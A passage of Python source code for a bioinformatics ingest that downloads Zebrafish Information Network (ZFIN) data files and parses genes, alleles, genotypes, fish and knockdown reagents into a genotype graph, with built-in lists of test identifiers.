Model\nfrom dipper import config\n\nlogger = logging.getLogger(__name__)\nZFDL = 'http://zfin.org/downloads'\n\n\nclass ZFIN(Source):\n \"\"\"\n This is the parser for the\n [Zebrafish Model Organism Database (ZFIN)](http://www.zfin.org),\n from which we process genotype and phenotype data for laboratory zebrafish.\n\n We generate the zfin graph to include the following information:\n * genes\n * sequence alterations\n (includes SNPs/del/ins/indel and large chromosomal rearrangements)\n * transgenic constructs\n * morpholinos, talens, crisprs as expression-affecting reagents\n * genotypes, and their components\n * fish (as comprised of intrinsic and extrinsic genotypes)\n * publications (and their mapping to PMIDs, if available)\n * genotype-to-phenotype associations\n (including environments and stages at which they are assayed)\n * environmental components\n * orthology to human genes\n * genetic positional information for genes and sequence alterations\n * fish-to-disease model associations\n\n Genotypes leverage the GENO genotype model and include\n both intrinsic and extrinsic genotypes.\n Where necessary, we create anonymous nodes of the genotype partonomy\n (such as for variant single locus complements,\n genomic variation complements, variant loci, extrinsic genotypes,\n and extrinsic genotype parts).\n\n Furthermore, we process the genotype components to build labels\n in a monarch-style. This leads to genotype labels that include:\n * all genes targeted by reagents (morphants, crisprs, etc),\n in addition to the ones that the reagent was designed against.\n * all affected genes within deficiencies\n * complex hets being listed as gene/gene\n rather than gene/+; gene/+\n\n \"\"\"\n\n files = {\n 'geno': {\n 'file': 'genotype_features.txt',\n 'url': ZFDL + '/genotype_features.txt'},\n 'pheno': {\n 'file': 'phenotype_fish.txt',\n 'url': ZFDL + '/phenotype_fish.txt'},\n 'pubs': {\n 'file': 'zfinpubs.txt',\n 'url': ZFDL + '/zfinpubs.txt'},\n 'zpmap': {\n 'file': 'zp-mapping.txt',\n 'url': 'http://compbio.charite.de/hudson/job/zp-owl-new/lastSuccessfulBuild/artifact/zp.annot_sourceinfo'},\n 'morph': {\n 'file': 'Morpholinos.txt',\n 'url': ZFDL + '/Morpholinos.txt'},\n # 'enviro': {'file': 'pheno_environment.txt',\n # 'url': ZFDL + '/pheno_environment.txt'},\n 'enviro': {\n 'file': 'pheno_environment_fish.txt',\n 'url': ZFDL+'/pheno_environment_fish.txt'},\n 'stage': {\n 'file': 'stage_ontology.txt',\n 'url': 'http://zfin.org/Downloads/stage_ontology.txt'},\n # 'wild_expression': {\n # 'file': 'wildtype-expression.txt',\n # 'url': ZFDL + '/wildtype-expression.txt'},\n 'mappings': {\n 'file': 'mappings.txt',\n 'url': ZFDL + '/mappings.txt'},\n 'backgrounds': {\n 'file': 'genotype_backgrounds.txt',\n 'url': ZFDL + '/genotype_backgrounds.txt'},\n 'genbank': {\n 'file': 'genbank.txt',\n 'url': ZFDL + '/genbank.txt'},\n 'uniprot': {\n 'file': 'uniprot.txt',\n 'url': ZFDL + '/uniprot.txt'},\n 'gene': {\n 'file': 'gene.txt',\n 'url': 'http://zfin.org/downloads/gene.txt'},\n # 'wild': {\n # 'file': 'wildtypes.txt',\n # 'url': ZFDL+'/wildtypes.txt'},\n 'wild': {\n 'file': 'wildtypes.txt',\n 'url': ZFDL + '/wildtypes_fish.txt'},\n 'human_orthos': {\n 'file': 'human_orthos.txt',\n 'url': ZFDL + '/human_orthos.txt'},\n 'features': {\n 'file': 'features.txt',\n 'url': ZFDL + '/features.txt'},\n 'feature_affected_gene': {\n 'file': 'features-affected-genes.txt',\n 'url': ZFDL + '/features-affected-genes.txt'},\n 'gene_marker_rel': {\n 'file': 'gene_marker_relationship.txt',\n 'url': ZFDL+'/gene_marker_relationship.txt'},\n 'crispr': {\n 'file': 'CRISPR.txt',\n 'url': ZFDL + '/CRISPR.txt'},\n 'talen': {\n 'file': 'TALEN.txt',\n 'url': ZFDL + '/TALEN.txt'},\n 'pub2pubmed': {\n 'file': 'pub_to_pubmed_id_translation.txt',\n 'url': ZFDL + '/pub_to_pubmed_id_translation.txt'},\n 'gene_coordinates': {\n 'file': 'E_zfin_gene_alias.gff3',\n 'url': ZFDL + '/E_zfin_gene_alias.gff3'\n },\n 'fish_disease_models': {\n 'file': 'fish_model_disease.txt',\n 'url': ZFDL + '/fish_model_disease.txt'\n },\n 'fish_components': {\n 'file': 'fish_components_fish.txt',\n 'url': ZFDL + '/fish_components_fish.txt'\n }\n\n }\n\n # I do not love putting these here; but I don't know where else to put them\n test_ids = {\n \"genotype\": [\n \"ZDB-GENO-010426-2\", \"ZDB-GENO-010427-3\", \"ZDB-GENO-010427-4\",\n \"ZDB-GENO-050209-30\", \"ZDB-GENO-051018-1\", \"ZDB-GENO-070209-80\",\n \"ZDB-GENO-070215-11\", \"ZDB-GENO-070215-12\", \"ZDB-GENO-070228-3\",\n \"ZDB-GENO-070406-1\", \"ZDB-GENO-070712-5\", \"ZDB-GENO-070917-2\",\n \"ZDB-GENO-080328-1\", \"ZDB-GENO-080418-2\", \"ZDB-GENO-080516-8\",\n \"ZDB-GENO-080606-609\", \"ZDB-GENO-080701-2\", \"ZDB-GENO-080713-1\",\n \"ZDB-GENO-080729-2\", \"ZDB-GENO-080804-4\", \"ZDB-GENO-080825-3\",\n \"ZDB-GENO-091027-1\", \"ZDB-GENO-091027-2\", \"ZDB-GENO-091109-1\",\n \"ZDB-GENO-100325-3\", \"ZDB-GENO-100325-4\", \"ZDB-GENO-100325-5\",\n \"ZDB-GENO-100325-6\", \"ZDB-GENO-100524-2\", \"ZDB-GENO-100601-2\",\n \"ZDB-GENO-100910-1\", \"ZDB-GENO-111025-3\", \"ZDB-GENO-120522-18\",\n \"ZDB-GENO-121210-1\", \"ZDB-GENO-130402-5\", \"ZDB-GENO-980410-268\",\n \"ZDB-GENO-080307-1\", \"ZDB-GENO-960809-7\", \"ZDB-GENO-990623-3\",\n \"ZDB-GENO-130603-1\", \"ZDB-GENO-001127-3\", \"ZDB-GENO-001129-1\",\n \"ZDB-GENO-090203-8\", \"ZDB-GENO-070209-1\", \"ZDB-GENO-070118-1\",\n \"ZDB-GENO-140529-1\", \"ZDB-GENO-070820-1\", \"ZDB-GENO-071127-3\",\n \"ZDB-GENO-000209-20\", \"ZDB-GENO-980202-1565\", \"ZDB-GENO-010924-10\",\n \"ZDB-GENO-010531-2\", \"ZDB-GENO-090504-5\", \"ZDB-GENO-070215-11\",\n \"ZDB-GENO-121221-1\"],\n \"gene\": [\n \"ZDB-GENE-000616-6\", \"ZDB-GENE-000710-4\", \"ZDB-GENE-030131-2773\",\n \"ZDB-GENE-030131-8769\", \"ZDB-GENE-030219-146\", \"ZDB-GENE-030404-2\",\n \"ZDB-GENE-030826-1\", \"ZDB-GENE-030826-2\",\n \"ZDB-GENE-040123-1\", \"ZDB-GENE-040426-1309\", \"ZDB-GENE-050522-534\",\n \"ZDB-GENE-060503-719\", \"ZDB-GENE-080405-1\", \"ZDB-GENE-081211-2\",\n \"ZDB-GENE-091118-129\", \"ZDB-GENE-980526-135\",\n \"ZDB-GENE-980526-166\", \"ZDB-GENE-980526-196\",\n \"ZDB-GENE-980526-265\", \"ZDB-GENE-980526-299\",\n \"ZDB-GENE-980526-41\", \"ZDB-GENE-980526-437\", \"ZDB-GENE-980526-44\",\n \"ZDB-GENE-980526-481\", \"ZDB-GENE-980526-561\", \"ZDB-GENE-980526-89\",\n \"ZDB-GENE-990415-181\", \"ZDB-GENE-990415-72\", \"ZDB-GENE-990415-75\",\n \"ZDB-GENE-980526-44\", \"ZDB-GENE-030421-3\", \"ZDB-GENE-980526-196\",\n \"ZDB-GENE-050320-62\", \"ZDB-GENE-061013-403\", \"ZDB-GENE-041114-104\",\n \"ZDB-GENE-030131-9700\", \"ZDB-GENE-031114-1\", \"ZDB-GENE-990415-72\",\n \"ZDB-GENE-030131-2211\", \"ZDB-GENE-030131-3063\",\n \"ZDB-GENE-030131-9460\", \"ZDB-GENE-980526-26\", \"ZDB-GENE-980526-27\",\n \"ZDB-GENE-980526-29\", \"ZDB-GENE-071218-6\", \"ZDB-GENE-070912-423\",\n \"ZDB-GENE-011207-1\", \"ZDB-GENE-980526-284\", \"ZDB-GENE-980526-72\",\n \"ZDB-GENE-991129-7\", \"ZDB-GENE-000607-83\", \"ZDB-GENE-090504-2\"],\n \"allele\": [\n \"ZDB-ALT-010426-4\", \"ZDB-ALT-010427-8\", \"ZDB-ALT-011017-8\",\n \"ZDB-ALT-051005-2\", \"ZDB-ALT-051227-8\", \"ZDB-ALT-060221-2\",\n \"ZDB-ALT-070314-1\", \"ZDB-ALT-070409-1\", \"ZDB-ALT-070420-6\",\n \"ZDB-ALT-080528-1\", \"ZDB-ALT-080528-6\", \"ZDB-ALT-080827-15\",\n \"ZDB-ALT-080908-7\", \"ZDB-ALT-090316-1\", \"ZDB-ALT-100519-1\",\n \"ZDB-ALT-111024-1\", \"ZDB-ALT-980203-1374\", \"ZDB-ALT-980203-412\",\n \"ZDB-ALT-980203-465\", \"ZDB-ALT-980203-470\", \"ZDB-ALT-980203-605\",\n \"ZDB-ALT-980413-636\", \"ZDB-ALT-021021-2\", \"ZDB-ALT-080728-1\",\n \"ZDB-ALT-100729-1\", \"ZDB-ALT-980203-1560\", \"ZDB-ALT-001127-6\",\n \"ZDB-ALT-001129-2\", \"ZDB-ALT-980203-1091\", \"ZDB-ALT-070118-2\",\n \"ZDB-ALT-991005-33\", \"ZDB-ALT-020918-2\", \"ZDB-ALT-040913-6\",\n \"ZDB-ALT-980203-1827\", \"ZDB-ALT-090504-6\",\n \"ZDB-ALT-121218-1\"],\n \"morpholino\": [\n \"ZDB-MRPHLNO-041129-1\", \"ZDB-MRPHLNO-041129-2\",\n \"ZDB-MRPHLNO-041129-3\", \"ZDB-MRPHLNO-050308-1\",\n \"ZDB-MRPHLNO-050308-3\", \"ZDB-MRPHLNO-060508-2\",\n \"ZDB-MRPHLNO-070118-1\", \"ZDB-MRPHLNO-070522-3\",\n \"ZDB-MRPHLNO-070706-1\", \"ZDB-MRPHLNO-070725-1\",\n \"ZDB-MRPHLNO-070725-2\", \"ZDB-MRPHLNO-071005-1\",\n \"ZDB-MRPHLNO-071227-1\", \"ZDB-MRPHLNO-080307-1\",\n \"ZDB-MRPHLNO-080428-1\", \"ZDB-MRPHLNO-080430-1\",\n \"ZDB-MRPHLNO-080919-4\", \"ZDB-MRPHLNO-081110-3\",\n \"ZDB-MRPHLNO-090106-5\", \"ZDB-MRPHLNO-090114-1\",\n \"ZDB-MRPHLNO-090505-1\", \"ZDB-MRPHLNO-090630-11\",\n \"ZDB-MRPHLNO-090804-1\", \"ZDB-MRPHLNO-100728-1\",\n \"ZDB-MRPHLNO-100823-6\", \"ZDB-MRPHLNO-101105-3\",\n \"ZDB-MRPHLNO-110323-3\", \"ZDB-MRPHLNO-111104-5\",\n \"ZDB-MRPHLNO-130222-4\", \"ZDB-MRPHLNO-080430\",\n \"ZDB-MRPHLNO-100823-6\", \"ZDB-MRPHLNO-140822-1\",\n \"ZDB-MRPHLNO-100520-4\", \"ZDB-MRPHLNO-100520-5\",\n \"ZDB-MRPHLNO-100920-3\", \"ZDB-MRPHLNO-050604-1\",\n \"ZDB-CRISPR-131113-1\", \"ZDB-MRPHLNO-140430-12\",\n \"ZDB-MRPHLNO-140430-13\"],\n \"environment\": [\n \"ZDB-EXP-050202-1\", \"ZDB-EXP-071005-3\", \"ZDB-EXP-071227-14\",\n \"ZDB-EXP-080428-1\", \"ZDB-EXP-080428-2\", \"ZDB-EXP-080501-1\",\n \"ZDB-EXP-080805-7\", \"ZDB-EXP-080806-5\", \"ZDB-EXP-080806-8\",\n \"ZDB-EXP-080806-9\", \"ZDB-EXP-081110-3\", \"ZDB-EXP-090505-2\",\n \"ZDB-EXP-100330-7\", \"ZDB-EXP-100402-1\", \"ZDB-EXP-100402-2\",\n \"ZDB-EXP-100422-3\", \"ZDB-EXP-100511-5\", \"ZDB-EXP-101025-12\",\n \"ZDB-EXP-101025-13\", \"ZDB-EXP-110926-4\", \"ZDB-EXP-110927-1\",\n \"ZDB-EXP-120809-5\", \"ZDB-EXP-120809-7\", \"ZDB-EXP-120809-9\",\n \"ZDB-EXP-120913-5\", \"ZDB-EXP-130222-13\", \"ZDB-EXP-130222-7\",\n \"ZDB-EXP-130904-2\", \"ZDB-EXP-041102-1\", \"ZDB-EXP-140822-13\",\n \"ZDB-EXP-041102-1\", \"ZDB-EXP-070129-3\", \"ZDB-EXP-110929-7\",\n \"ZDB-EXP-100520-2\", \"ZDB-EXP-100920-3\", \"ZDB-EXP-100920-5\",\n \"ZDB-EXP-090601-2\", \"ZDB-EXP-151116-3\"],\n \"pub\": [\n \"PMID:11566854\", \"PMID:12588855\", \"PMID:12867027\", \"PMID:14667409\",\n \"PMID:15456722\", \"PMID:16914492\", \"PMID:17374715\", \"PMID:17545503\",\n \"PMID:17618647\", \"PMID:17785424\", \"PMID:18201692\", \"PMID:18358464\",\n \"PMID:18388326\", \"PMID:18638469\", \"PMID:18846223\", \"PMID:19151781\",\n \"PMID:19759004\", \"PMID:19855021\", \"PMID:20040115\", \"PMID:20138861\",\n \"PMID:20306498\", \"PMID:20442775\", \"PMID:20603019\", \"PMID:21147088\",\n \"PMID:21893049\", \"PMID:21925157\", \"PMID:22718903\", \"PMID:22814753\",\n \"PMID:22960038\", \"PMID:22996643\", \"PMID:23086717\", \"PMID:23203810\",\n \"PMID:23760954\", \"ZFIN:ZDB-PUB-140303-33\", \"ZFIN:ZDB-PUB-140404-9\",\n \"ZFIN:ZDB-PUB-080902-16\", \"ZFIN:ZDB-PUB-101222-7\",\n \"ZFIN:ZDB-PUB-140614-2\", \"ZFIN:ZDB-PUB-120927-26\",\n \"ZFIN:ZDB-PUB-100504-5\", \"ZFIN:ZDB-PUB-140513-341\"],\n \"fish\": [\n \"ZDB-FISH-150901-17912\", \"ZDB-FISH-150901-18649\",\n \"ZDB-FISH-150901-26314\", \"ZDB-FISH-150901-9418\",\n \"ZDB-FISH-150901-14591\", \"ZDB-FISH-150901-9997\",\n \"ZDB-FISH-150901-23877\", \"ZDB-FISH-150901-22128\",\n \"ZDB-FISH-150901-14869\", \"ZDB-FISH-150901-6695\",\n \"ZDB-FISH-150901-24158\", \"ZDB-FISH-150901-3631\",\n \"ZDB-FISH-150901-20836\", \"ZDB-FISH-150901-1060\",\n \"ZDB-FISH-150901-8451\", \"ZDB-FISH-150901-2423\",\n \"ZDB-FISH-150901-20257\", \"ZDB-FISH-150901-10002\",\n \"ZDB-FISH-150901-12520\", \"ZDB-FISH-150901-14833\",\n \"ZDB-FISH-150901-2104\", \"ZDB-FISH-150901-6607\",\n \"ZDB-FISH-150901-1409\"]\n }\n\n def __init__(self, graph_type, are_bnodes_skolemized):\n super().__init__(\n graph_type,\n are_bnodes_skolemized,\n 'zfin',\n ingest_title='Zebra Fish Information Network',\n ingest_url='https://zfin.org',\n license_url='http://zfin.org/warranty.html'\n # data_rights=None,\n # file_handle=None\n )\n\n self.dataset.set_citation(\n 'https://wiki.zfin.org/display/general/ZFIN+db+information')\n\n self.fish_parts = {}\n self.geno_alleles = {}\n # to hold any label for a given id\n self.id_label_map = {}\n # to hold the mappings between genotype and background\n self.genotype_backgrounds = {}\n self.extrinsic_id_to_enviro_id_hash = {}\n # to hold the parts that are introduced from a construct\n self.transgenic_parts = {}\n # to hold the genes variant due to a seq alt\n self.variant_loci_genes = {}\n # to hold the parts of an environment\n self.environment_hash = {}\n self.wildtype_genotypes = []\n self.zp_map = {}\n\n if 'test_ids' not in config.get_config() \\\n or 'disease' not in config.get_config()['test_ids']:\n logger.warning(\"not configured with gene test ids.\")\n self.test_ids['disease'] = []\n else:\n self.test_ids[\n 'disease'] = config.get_config()['test_ids']['disease']\n\n return\n\n def fetch(self, is_dl_forced=False):\n\n # fetch all the files\n # zfin versions are set by the date of download.\n self.get_files(is_dl_forced)\n self.scrub()\n\n self.get_orthology_sources_from_zebrafishmine()\n\n return\n\n def scrub(self):\n \"\"\"\n Perform various data-scrubbing on the raw data files prior to parsing.\n For this resource, this currently includes:\n * remove oddities where there are \"\\\" instead of empty strings\n :return: None\n\n \"\"\"\n\n # scrub file of the oddities\n # where there are \"\\\" instead of empty strings\n # 2017 May see two lines with trailing baclslash in genbank.txt\n pysed.replace(\n \"\\\\\\\\\", '', '/'.join((self.rawdir, self.files['geno']['file'])))\n\n # pubs has control characters!\n # not detecting any onntrol chars in pubs 2017 May\n # self.remove_backslash_r(\n # '/'.join((self.rawdir, self.files['pubs']['file'])), 'latin-1')\n\n return\n\n def parse(self, limit=None):\n if limit is not None:\n logger.info(\"Only parsing first %s rows of each file\", limit)\n logger.info(\"Parsing files...\")\n\n zp_file = '/'.join((self.rawdir, self.files['zpmap']['file']))\n self.zp_map = self._load_zp_mappings(zp_file)\n\n if self.testOnly:\n self.testMode = True\n\n # if self.testMode: # unused\n # graph = self.testgraph\n # else:\n # graph = self.graph\n\n # basic information on classes and instances\n self._process_genes(limit)\n self._process_stages(limit)\n self._process_pubinfo(limit)\n self._process_pub2pubmed(limit)\n\n # The knockdown reagents\n for t in ['morph', 'crispr', 'talen']:\n self._process_targeting_reagents(t, limit)\n\n self._process_gene_marker_relationships(limit)\n self._process_features(limit)\n self._process_feature_affected_genes(limit)\n # only adds features on chromosomes, not positions\n self._process_mappings(limit)\n\n # These must be processed before G2P and expression\n self._process_wildtypes(limit)\n self._process_genotype_backgrounds(limit)\n # REVIEWED - NEED TO REVIEW LABELS ON Deficiencies\n self._process_genotype_features(limit)\n\n self.process_fish(limit)\n # Must be processed after morpholinos/talens/crisprs id/label\n # self._process_pheno_enviro(limit) # TODO waiting on issue #385\n\n # once the genotypes and environments are processed,\n # we can associate these with the phenotypes\n self._process_g2p(limit)\n self.process_fish_disease_models(limit)\n\n # zfin-curated orthology calls to human genes\n self._process_human_orthos(limit)\n self.process_orthology_evidence(limit)\n\n # coordinates of all genes - from ensembl\n self._process_gene_coordinates(limit)\n\n # FOR THE FUTURE - needs verification\n # self._process_wildtype_expression(limit)\n # self._process_uniprot_ids(limit)\n\n logger.info(\"Finished parsing.\")\n return\n\n def process_fish(self, limit=None):\n \"\"\"\n Fish give identifiers to the \"effective genotypes\" that we create.\n We can match these by:\n Fish = (intrinsic) genotype + set of morpholinos\n\n We assume here that the intrinsic genotypes and their parts\n will be processed separately, prior to calling this function.\n\n :param limit:\n :return:\n\n \"\"\"\n\n logger.info(\"Processing Fish Parts\")\n\n raw = '/'.join((self.rawdir, self.files['fish_components']['file']))\n\n if self.testMode:\n graph = self.testgraph\n else:\n graph = self.graph\n\n model = Model(graph)\n taxon_id = self.globaltt['Danio rerio']\n\n geno = Genotype(graph)\n\n allele_to_construct_hash = {}\n\n with open(raw, 'r', encoding=\"utf8\") as csvfile:\n filereader = csv.reader(csvfile, delimiter='\\t', quotechar='\\\"')\n for row in filereader:\n\n (fish_num, fish_name, gene_num, gene_symbol, affector_num,\n affector_symbol, construct_num, construct_symbol,\n background_num, background_symbol, genotype_num,\n genotype_name\n # , empty\n ) = row\n\n # fish have the following components:\n # * genotype, which is the intrinsic genotype;\n # this may be a genetic background (WT)\n # * an optional background for the intrinsic genotype\n # * affectors == alleles or morphants\n # * constructs which may give rise to the affectors\n # * affected genes\n\n if fish_num not in self.fish_parts:\n self.fish_parts[fish_num] = {}\n self.fish_parts[fish_num] = {\n 'intrinsic_genotype': genotype_num,\n 'affectors': set(),\n 'fish_label': fish_name\n }\n\n # HACK - bad allele id - replace it with the new one FIXME\n if affector_num == 'ZDB-ALT-090504-1':\n affector_num = 'ZDB-ALT-040723-4'\n\n self.fish_parts[fish_num]['affectors'].add(affector_num)\n\n # add the constructs that the allele comes from\n if construct_num != '':\n if affector_num not in allele_to_construct_hash:\n allele_to_construct_hash[affector_num] = set()\n allele_to_construct_hash[affector_num].add(construct_num)\n\n # ### finish looping through fish file\n\n # given the components of a fish,\n # subtract out the intrinsic parts to just leave the extrinsic\n # to create the extrinsic genotypes.\n line_counter = 0\n\n for fish_num in self.fish_parts:\n if self.testMode and fish_num not in self.test_ids['fish']:\n continue\n\n line_counter += 1\n fish_id = 'ZFIN:'+fish_num\n fish = self.fish_parts[fish_num]\n\n # get the intrinsic parts\n intrinsic_genotype_num = fish['intrinsic_genotype']\n intrinsic_genotype_id = 'ZFIN:'+intrinsic_genotype_num\n intrinsic_genotype_label = self.id_label_map.get(\n intrinsic_genotype_id)\n if intrinsic_genotype_num not in self.geno_alleles:\n intrinsic_parts = set()\n else:\n intrinsic_parts = self.geno_alleles[intrinsic_genotype_num]\n\n # subtract out the intrinsic parts, to get the extrinsic parts\n extrinsic_parts = fish['affectors'] - intrinsic_parts\n extrinsic_list = list(sorted(extrinsic_parts))\n\n # build up the extrinsic genotype from it's parts.\n # these will be reagents/morphants.\n if len(extrinsic_list) > 0:\n list_of_targeted_genes = []\n gene_to_reagent_hash = {}\n for eid in extrinsic_list:\n # link the morpholino to the genes that it affects\n eid = 'ZFIN:' + eid\n\n # just in case, skip over the ALTs\n if re.search(r'ALT', eid):\n continue\n ag = self.variant_loci_genes.get(eid)\n\n # logger.debug(\"%s affected genes %s\", eid, str(ag))\n if ag is None:\n pass\n # logger.warn(\"No affected genes for %s\", eid)\n else:\n # turn the gene-targeting-reagents inside out,\n # such that instead of morph -> set(genes)\n # we make a gene -> set(morphs)\n\n for gid in ag:\n if gid not in gene_to_reagent_hash:\n gene_to_reagent_hash[gid] = set()\n gene_to_reagent_hash[gid].add(eid)\n # end loop through each extrinsic component\n\n for gid in gene_to_reagent_hash:\n reagent_list = sorted(list(gene_to_reagent_hash.get(gid)))\n # create variant gene(s) that have been targeted\n # by the reagent\n\n if gid not in self.id_label_map:\n # should not happen, except maybe in testing\n logger.error(\"%s not in id-label-hash\", gid)\n glabel = gid\n else:\n glabel = self.id_label_map[gid]\n\n eid = '-'.join(reagent_list)\n\n targeted_gene_id = self.make_targeted_gene_id(\n gid, eid)\n # get the reagent labels\n elabel = ', '.join(\n self.id_label_map.get(l) for l in reagent_list)\n if elabel is None:\n elabel = eid # should not happen, but just in case\n targeted_gene_label = glabel + '<' + elabel + '>'\n\n for r in reagent_list:\n geno.addReagentTargetedGene(r, gid, targeted_gene_id,\n targeted_gene_label)\n self.id_label_map[targeted_gene_id] = targeted_gene_label\n list_of_targeted_genes += [targeted_gene_id]\n # end loop through each gene that is targeted\n list_of_targeted_genes = sorted(list_of_targeted_genes)\n extrinsic_id = '_:'+re.sub(\n r':?_?', '', '-'.join(list_of_targeted_genes))\n extrinsic_label = '; '.join(\n str(self.id_label_map.get(l))\n for l in list_of_targeted_genes)\n self.id_label_map[extrinsic_id] = extrinsic_label\n\n # add the parts\n for tg in list_of_targeted_genes:\n if tg != extrinsic_id:\n geno.addParts(\n tg, extrinsic_id, self.globaltt['has_variant_part'])\n\n else:\n extrinsic_id = None\n extrinsic_label = None\n if extrinsic_id is not None:\n geno.addGenotype(\n extrinsic_id, extrinsic_label, self.globaltt['extrinsic_genotype'])\n geno.addParts(\n extrinsic_id, fish_id, self.globaltt['has_variant_part'])\n\n # check if the intrinsic is in the wildtype genotypes,\n # then it's a genomic background\n if intrinsic_genotype_id in self.wildtype_genotypes:\n intrinsic_rel = self.globaltt['has_reference_part']\n intrinsic_type = self.globaltt['genomic_background']\n else:\n intrinsic_rel = self.globaltt['has_variant_part']\n intrinsic_type = self.globaltt['intrinsic_genotype']\n geno.addGenotype(\n intrinsic_genotype_id, intrinsic_genotype_label, intrinsic_type)\n\n # add the intrinsic to the fish\n geno.addParts(intrinsic_genotype_id, fish_id, intrinsic_rel)\n\n # build the fish label\n if extrinsic_id is None:\n fish_label = intrinsic_genotype_label\n else:\n fish_label = '; '.join((\n str(intrinsic_genotype_label), extrinsic_label))\n\n fish_type = self.globaltt['effective_genotype']\n\n geno.addGenotype(fish_id, fish_label, fish_type)\n geno.addTaxon(taxon_id, fish_id)\n\n # since we re-create a label,\n # add the zfin fish label as the synonym\n model.addSynonym(fish_id, fish['fish_label'])\n self.id_label_map[fish_id] = fish_label\n\n if not self.testMode and limit is not None and line_counter > limit:\n break\n\n # ###finish iterating over fish\n\n # iterate of the alleles and attache the constructs to them\n logger.info(\"Adding Allele/Construct relationships\")\n for a in allele_to_construct_hash:\n if self.testMode and a not in self.test_ids['allele']:\n continue\n allele_id = 'ZFIN:' + a\n constructs = allele_to_construct_hash.get(a)\n if len(constructs) > 0:\n for c in constructs:\n cid = 'ZFIN:' + c\n geno.addSequenceDerivesFrom(allele_id, cid)\n # logger.info(\"constructs for %s: %s\", allele_id,\n # str(constructs))\n # migrate the transgenic features to be alternate parts\n # of the transgene insertion/alteration\n if cid in self.transgenic_parts:\n tg_parts = self.transgenic_parts.get(cid)\n if tg_parts is not None:\n for p in tg_parts:\n # HACK - if it's a promoter part,\n # then make it a simple has_part\n if re.search(r'promoter', p):\n r = self.globaltt['has_part']\n else:\n r = self.globaltt['has_variant_part']\n geno.addParts(p, allele_id, r)\n\n return\n\n def _process_genotype_features(self, limit=None):\n \"\"\"\n Here we process the genotype_features file, which lists genotypes\n together with any intrinsic sequence alterations, their zygosity,\n and affected gene.\n Because we don't necessarily get allele pair (VSLC) ids\n in a single row, we iterate through the file and build up a hash\n that contains all of a genotype's partonomy.\n We then assemble a genotype based on that partonomy.\n This table does not list the background genotype/strain:\n that is listed elsewhere.\n\n ZFIN \"ALT\" objects are mapped to sequence alterations in our system.\n\n By the end of this method, we have built up the intrinsic genotype,\n with Monarch-style labels.\n All ZFIN labels are added as synonyms (including the \"sup\" html tags).\n\n We make assumptions here that any variants that affect the same locus\n are in trans.\n All of the genotype parts are created as BNodes at the moment,\n to avoid minting new Monarch ids, which means for anyone consuming this\n data they are inherently unstable. This may change in the future.\n\n\n :param limit:\n :return:\n\n \"\"\"\n raw = '/'.join((self.rawdir, self.files['geno']['file']))\n\n if self.testMode:\n graph = self.testgraph\n else:\n graph = self.graph\n\n model = Model(graph)\n taxon_id = self.globaltt['Danio rerio']\n\n geno_hash = {} # This is used to store the genotype partonomy\n gvc_hash = {}\n\n logger.info(\"Processing Genotypes\")\n line_counter = 0\n geno = Genotype(graph)\n with open(raw, 'r', encoding=\"utf8\") as csvfile:\n filereader = csv.reader(csvfile, delimiter='\\t', quotechar='\\\"')\n for row in filereader:\n line_counter += 1\n\n (genotype_num, genotype_name, genotype_unique_name, allele_num,\n allele_name, allele_ab, allele_type, allele_disp_type,\n gene_symbol, gene_num, zygosity, construct_name,\n construct_num\n # , empty\n ) = row\n\n if self.testMode and genotype_num not in self.test_ids['genotype']:\n continue\n\n # add the genotype to the graph\n # not adding the genotype label here,\n # since it doesn't include the background\n # that will be done in another method\n genotype_id = 'ZFIN:' + genotype_num.strip()\n geno.addGenotype(genotype_id, None)\n\n # add the given name and uniquename as synonyms\n model.addSynonym(genotype_id, genotype_name)\n model.addSynonym(genotype_id, genotype_unique_name)\n\n # store the alleles of the genotype,\n # in order to use when processing fish\n if genotype_num not in self.geno_alleles:\n self.geno_alleles[genotype_num] = set()\n self.geno_alleles[genotype_num].add(allele_num)\n\n if genotype_id not in geno_hash:\n geno_hash[genotype_id] = {}\n\n genoparts = geno_hash[genotype_id]\n\n # reassign the allele_type to a proper GENO or SO class\n # allele_type = self._map_allele_type_to_geno(allele_type)\n allele_type_id = self.resolve(allele_type, False)\n if allele_type_id == allele_type:\n allele_type_id = self.globaltt['unspecified'] # is geno: not zfa:\n\n allele_id = 'ZFIN:' + allele_num.strip()\n\n if allele_num != '':\n self.id_label_map[allele_id] = allele_name\n\n # alleles in zfin are really sequence alterations in our system\n geno.addSequenceAlteration(allele_id, allele_name, allele_type_id)\n model.addSynonym(allele_id, allele_ab)\n\n # here, we assemble the items into a genotype hash\n # we need to do this because each row only holds one allele\n # of a gene but a genotype may have many alleles and therefore\n # many rows so we loop through the file once to build a hash of\n # genotype components\n if gene_num is not None and gene_num.strip() != '':\n # add the gene to the graph, along with it's symbol\n # as the primary label\n gene_id = 'ZFIN:' + gene_num.strip()\n geno.addGene(gene_id, gene_symbol)\n self.id_label_map[gene_id] = gene_symbol\n\n # if it's a transgenic construct,\n # then we'll have to get the other bits\n if construct_num is not None and construct_num.strip() != '':\n construct_id = 'ZFIN:' + construct_num.strip()\n geno.addSequenceDerivesFrom(allele_id, construct_id)\n self.id_label_map[construct_id] = construct_name\n\n # allele to gene\n if allele_id not in self.variant_loci_genes:\n self.variant_loci_genes[allele_id] = [gene_id]\n else:\n if gene_id not in self.variant_loci_genes[allele_id]:\n self.variant_loci_genes[allele_id] += [gene_id]\n\n if gene_id not in genoparts:\n genoparts[gene_id] = [allele_id]\n else:\n genoparts[gene_id] += [allele_id]\n\n other_allele = self._get_other_allele_by_zygosity(\n allele_id, zygosity)\n if other_allele is not None:\n genoparts[gene_id] += [other_allele]\n\n else:\n # if the gene is not known,\n # still need to add the allele to the genotype hash\n # these will be added as sequence alterations.\n genoparts[allele_id] = [allele_id]\n other_allele = self._get_other_allele_by_zygosity(\n allele_id, zygosity)\n if other_allele is not None:\n genoparts[allele_id] += [other_allele]\n\n geno_hash[genotype_id] = genoparts\n\n # fetch the other affected genes,\n # and make sure they are in the geno hash\n # we have to do this because some of the affected genes\n # are not listed in this file\n genes_from_hash = None\n if allele_id in self.variant_loci_genes:\n genes_from_hash = self.variant_loci_genes[allele_id]\n else:\n pass\n # logger.info('no gene found for %s', allele_id)\n\n if genes_from_hash is not None \\\n and genes_from_hash != [gene_id] \\\n and gene_id not in genes_from_hash:\n logger.info(\n \"***Found genes not in genotype_features for %s: %s\",\n allele_id, genes_from_hash)\n for gh in genes_from_hash:\n if gh not in genoparts:\n genoparts[gh] = [allele_id]\n else:\n genoparts[gh] += [allele_id]\n\n other_allele = self._get_other_allele_by_zygosity(\n allele_id, zygosity)\n if other_allele is not None:\n genoparts[gh].append(other_allele)\n\n if not self.testMode and limit is not None and line_counter > limit:\n break\n\n # end loop through file\n csvfile.close()\n 